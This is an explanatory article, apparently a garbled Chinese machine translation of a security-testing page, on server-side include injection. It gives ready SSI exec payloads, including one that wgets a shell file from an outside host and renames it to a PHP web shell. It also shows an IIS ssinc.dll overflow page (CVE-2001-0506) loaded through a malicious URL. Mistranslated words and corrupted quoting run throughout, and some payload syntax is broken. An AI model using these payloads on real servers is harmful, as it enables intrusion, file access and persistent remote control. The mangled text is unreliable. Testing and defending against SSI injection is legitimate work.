做事器端包含攻击许可通过在HTML页面中注入脚本或远程实行任意代码来利用Web运用程序。可以通过操纵运用程序中利用的SSI或通过用户输入字段逼迫利用SSI来利用它。
可以通过插入在SSI指令中利用的字符来检讨运用程序是否精确验证输入字段数据,如下所示:
< ! # = / . \"大众 - > and [a-zA-Z0-9]
另一种创造运用程序是否易受攻击的方法是验证是否存在扩展名为.stm,.shtm和.shtml的网页。但是,短缺这些类型的页面并不虞味着运用程序受到SSI攻击的保护。
无论如何,只有当网络做事器许可SSI实行而没有适当的验证时,攻击才会成功。这可能导致在Web做事器进程所有者的容许下访问和操作文件系统和进程。
攻击者可以访问密码文件等敏感信息,并实行shell命令。SSI指令被注入输入字段,并被发送到Web做事器。Web做事器在供应页面之前解析并实行指令。然后,下次为用户的浏览器加载页面时,攻击结果将可见。
风险成分TBD
例子例1用于注入SSI的命令因利用的做事器操作系统而异。以下命令表示该当用于实行OS命令的语法。
Linux的:
目录列表文件:
<!--#exec cmd=\"大众ls\"大众 -->
访问目录:
<!--#exec cmd=\"大众cd /root/dir/\公众>
实行脚本:
<!--#exec cmd=\公众wget http://mysite.com/shell.txt | rename shell.txt shell.php\公众 -->
Windows:
目录列表文件:
<!--#exec cmd=\公众dir\公众 -->
访问目录:
<!--#exec cmd=\"大众cd C:\admin\dir\公众>例2
其他可用于访问和设置做事器信息的SSI示例:
要变动缺点输出:
<!--#config errmsg=\公众File not found, informs users and password\"大众-->
要显示当前文档的文件名:
<!--#echo var=\公众DOCUMENT_NAME\"大众 -->
显示虚拟路径和文件名:
<!--#echo var=\"大众DOCUMENT_URI\"大众 -->
利用“config”命令和“timefmt”参数,可以掌握日期和韶光输出格式:
<!--#config timefmt=\"大众A %B %d %Y %r\"大众-->
利用“fsize”命令,可以打印所选文件的大小:
<!--#fsize file=\"大众ssi.shtml\"大众 -->例3
IIS版本4.0和5.0中的一个旧漏洞许可攻击者通过动态链接库(ssinc.dll)中的缓冲区溢出失落败获取系统特权。“ssinc.dll”用于阐明进程做事器端包含。 CVE 2001-0506。
通过创建包含SSI代码的恶意页面并逼迫运用程序加载此页面(路径遍历攻击),可以实行此攻击:
ssi_over.shtml
<!--#include file=”UUUUUUUU...UU”-->
PS:“U”的数量须要超过2049年。
逼迫运用程序加载ssi_over.shtml页面:
非恶意网址:
www.vulnerablesite.org/index.asp?page=news.asp
恶意网址:
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
如果IIS返回空缺页,则表示发生了溢出。在这种情形下,攻击者可能会操纵过程流并实行任意代码。